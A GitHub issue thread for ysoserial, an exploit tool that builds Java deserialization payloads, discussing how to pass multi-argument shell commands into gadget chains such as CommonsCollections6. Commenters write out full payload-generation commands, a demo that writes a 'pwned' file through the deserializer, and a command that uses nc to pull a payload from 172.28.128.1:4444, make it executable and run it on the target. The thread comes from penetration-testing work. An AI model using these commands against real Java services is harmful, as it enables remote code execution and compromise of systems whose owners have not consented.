Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

change Runtime exec(String) to exec(String[]) #71

Open
frohoff opened this issue Sep 2, 2017 · 6 comments
Open

change Runtime exec(String) to exec(String[]) #71

frohoff opened this issue Sep 2, 2017 · 6 comments

Comments

@frohoff
Copy link
Owner

frohoff commented Sep 2, 2017

More complete and cross-platform version of #60

http://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html

@Bort-Millipede
Copy link

Bort-Millipede commented Sep 25, 2017

May I make a suggestion for a temporary solution to #72 that incorporates #60 and #74 ?

Convert Runtime.exec(String) to Runtime.exec(String[]) with the intention of creating a payload containing platform-specific commands like the following:

  • cmd /c "ping ..."
  • bash -c "ping ..."

The argument within the parenthesis (ping ...) will be passed into ysoserial using the second command line argument (as usual). All arguments before this will be read from a Java System Property (which can be passed on the command line as such: -Dargname=argval). The value of the property will be read in by the payload class and split into a String array by whitespace. An example execution of ysoserial would be as such:

  • java -Dysoserial.prefix="bash -c" -jar ysoserial.jar CommonsCollections1 "ping -c 4 127.0.0.1"

If the expected System Property is not present during payload creation, the inputted command should instead be split into a String array by whitespace to ensure that the payload will still be generated and which will execute on the target system almost identically as a payload containing Runtime.exec(String).

I have included implementations of the above proposed fix in the attached zip file, specifically for CommonsCollections1, CommonsCollections5 and CommonsCollections6 (all in new classes with the names [CLASSNAME]Chained.java). These classes expect a System Property "ysoserial.prefix" to be set on the command line.

CommonsCollectionsChained.zip

@frohoff
Copy link
Owner Author

frohoff commented Sep 25, 2017

This should already be supported by the in-development multiargs branch being developed for #74 without any special parameters by just including the script interpreter "prelude" in the payload command: bash -c '[my bash command]' or cmd /c "my cmd command".

$ echo $$
2
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 \
> bash -c 'echo executed in pid $$ > pwned' \
> | java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.Deserializer
$ cat pwned
executed in pid 630

Is there a reason this wouldn't work reasonably well for the scenario you describe?

@Bort-Millipede
Copy link

Your solution would work perfectly well for the scenario I described (and potentially better than the code I posted). I wasn't sure if that multiarg support was still being planned or if it was already being implemented. I just posted my proposed temporary solution in case multiarg support was still on the drawing board. I will check out the multiarg branch, thanks for letting me know about it!

@pedrib
Copy link

pedrib commented Jan 23, 2018

I needed to run the following "/bin/sh -c 'nc 172.28.128.1 4444 > /tmp/payload; chmod +x /tmp/payload; /tmp/payload'" and tried both your changes.

@frohoff the multiarg branch didn't work... also I suggest you don't hardcode bash, some targets might only have sh

@Bort-Millipede your edited classes worked. I know they are a bit hackish but you saved me a lot of time, thanks!

@frohoff
Copy link
Owner Author

frohoff commented Jan 25, 2018

The multiarg branch currently requires multiarg commands be passed without the outermost enclosing quotes so it comes through as multiple arguments in Java's main(String[]), so you'd want to specify the above as:

 java -jar ysoserial.jar CommonsCollections6 /bin/sh -c 'nc 172.28.128.1 4444 > /tmp/payload; chmod +x /tmp/payload; /tmp/payload'

This current behavior errs on the side of allowing executables with spaces in the path over preserving backwards compatibility, though this might change in the future.

I'm not aware of bash being hard-coded anywhere.

@hktalent
Copy link

#117

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants